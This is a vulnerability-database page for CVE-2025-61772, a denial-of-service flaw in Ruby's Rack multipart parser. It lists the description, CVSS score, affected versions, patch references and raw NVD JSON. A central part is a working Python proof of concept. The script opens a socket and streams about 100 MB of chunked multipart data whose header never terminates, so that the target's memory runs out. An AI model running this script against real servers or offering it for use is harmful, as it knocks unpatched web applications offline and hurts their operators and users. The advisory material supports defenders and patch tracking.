Security Vulnerability Report
中文
CVE-2025-61772 CVSS 7.5 HIGH

CVE-2025-61772

Published: 2025-10-07 15:16:03
Last Modified: 2025-10-10 16:45:29

Description

Rack is a modular Ruby web server interface. In versions prior to 2.2.19, 3.1.17, and 3.2.2, `Rack::Multipart::Parser` can accumulate unbounded data when a multipart part’s header block never terminates with the required blank line (`CRLFCRLF`). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS). Attackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected. Versions 2.2.19, 3.1.17, and 3.2.2 cap per-part header size (e.g., 64 KiB). As a workaround, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx `client_max_body_size`).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
Rack < 2.2.19
Rack 3.1.x < 3.1.17
Rack 3.2.x < 3.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61772 PoC - Rack::Multipart::Parser Memory Exhaustion DoS # This PoC demonstrates how to trigger unbounded memory consumption # by sending a multipart request with incomplete header block (no CRLFCRLF terminator) import socket import time def send_malicious_multipart(target_host, target_port, target_path="/"): """ Send a multipart/form-data request where the header block never terminates with CRLFCRLF, causing unbounded memory accumulation in vulnerable Rack::Multipart::Parser versions. """ # Construct malicious multipart payload # Note: The boundary is defined, but the part header intentionally # lacks the required blank line (CRLFCRLF) terminator boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" # Build payload with header but no terminating CRLFCRLF payload_start = f"--{boundary}\r\n" payload_start += 'Content-Disposition: form-data; name="file"; filename="test.txt"\r\n' payload_start += 'Content-Type: text/plain\r\n' # Intentionally omit the CRLFCRLF that should terminate the header block # The parser will keep appending data to memory without size cap # Create the socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Send HTTP headers http_headers = ( f"POST {target_path} HTTP/1.1\r\n" f"Host: {target_host}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Transfer-Encoding: chunked\r\n" f"Connection: close\r\n" f"\r\n" ) sock.send(http_headers.encode()) sock.send(payload_start.encode()) # Send large amount of data without CRLFCRLF terminator # Each chunk will be appended to memory by the vulnerable parser chunk_size = 1024 # 1KB per chunk total_size = 100 * 1024 * 1024 # Attempt to send 100MB for i in range(0, total_size, chunk_size): # Send data as chunked transfer encoding chunk = "A" * chunk_size chunk_header = f"{chunk_size:x}\r\n" sock.send(chunk_header.encode()) sock.send(chunk.encode()) sock.send(b"\r\n") if i % (10 * 1024 * 1024) == 0: print(f"[*] Sent {i // (1024 * 1024)}MB of malicious data...") time.sleep(0.1) # Small delay to allow memory accumulation # Terminate chunked encoding sock.send(b"0\r\n\r\n") sock.close() print("[+] Payload sent. Target should experience memory exhaustion.") # Usage example # send_malicious_multipart("target-server.com", 80, "/upload")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61772", "sourceIdentifier": "[email protected]", "published": "2025-10-07T15:16:03.280", "lastModified": "2025-10-10T16:45:29.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. In versions prior to 2.2.19, 3.1.17, and 3.2.2, `Rack::Multipart::Parser` can accumulate unbounded data when a multipart part’s header block never terminates with the required blank line (`CRLFCRLF`). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS). Attackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected. Versions 2.2.19, 3.1.17, and 3.2.2 cap per-part header size (e.g., 64 KiB). As a workaround, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx `client_max_body_size`)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "2.2.19", "matchCriteriaId": "EBB6060B-A06F-4A88-8457-AD850E63E562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.17", "matchCriteriaId": "850EC79C-0F31-441F-9001-B7CA0CD7758F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.2", "matchCriteriaId": "9A009CC5-8010-446E-A12B-BF5314CA5BEB"}]}]}], "references": [{"url": "https://github.com/rack/rack/commit/589127f4ac8b5cf11cf88fb0cd116ffed4d2181e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/commit/d869fed663b113b95a74ad53e1b5cae6ab31f29e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/commit/e08f78c656c9394d6737c022bde087e0f33336fd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/security/advisories/GHSA-wpv5-97wm-hp9c", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}